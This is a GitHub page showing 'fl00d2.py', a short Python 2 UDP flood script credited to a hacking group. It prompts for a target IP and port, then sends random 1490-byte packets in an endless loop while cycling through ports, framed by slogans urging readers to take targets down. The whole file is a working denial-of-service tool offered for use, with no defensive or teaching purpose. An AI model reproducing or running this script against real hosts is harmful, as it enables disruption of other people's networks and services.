-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathfl00d2.py
54 lines (51 loc) · 1.66 KB
/
fl00d2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/system/bin/python
#Fl00d 2.0 27-06-2017 (1:42)
#Tool for UDP Flood
#Authorized by DedSecTL
#AndroSec1337 Cyber Team
import socket, os, random, time
# Color
B = '\033[1m'
R = '\033[31m'
N = '\033[0m'
# Code time ##################
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
os.system("clear")
print B+"@@@@@@@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@"
print "@@@@@@@@ @@@ @@@@@@@@@@ @@@@@@@@@@ @@@ @@@@"
print "@@! @@! @@! @@@@ @@! @@@@ @@! @@@"
print "!@! !@! !@! @!@!@ !@! @!@!@ !@! @!@"
print "@!!!:! @!! @!@ @! !@! @!@ @! !@! @!@ !@!"
print "!!!!!: !!! !@!!! !!! !@!!! !!! !@! !!!"
print "!!: !!: !!:! !!! !!:! !!! !!: !!!"
print ":!: :!: :!: !:! :!: !:! :!: !:!"
print "::: ::::::: :::::::::: :::::::::: ;:: :::"
print "::: ::::::: :::::::: :::::::: :::::::::"+N
print "["+B+""+R+"#"+N+"] "+B+""+R+" "+N+" Fl00d 2.0 - "+B+""+R+"RDXLR"+N
print
print "#T4ke 7hem d0wn vroh - D0n7 g1ve up - Fl00d th3m"
print "#H4ck 4ll 7he 7h1ng - F1ght f0r Ju5t1c3 - K1ll th3m"
print
ip = raw_input('[$] T@rget 1P: ')
port = input('[$] P0rt: ')
os.system("clear")
print "Fl00d attack started on {0}.{1} | {2}-{3}-{4}".format(hour, minute, day, month, year)
time.sleep(3)
print
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1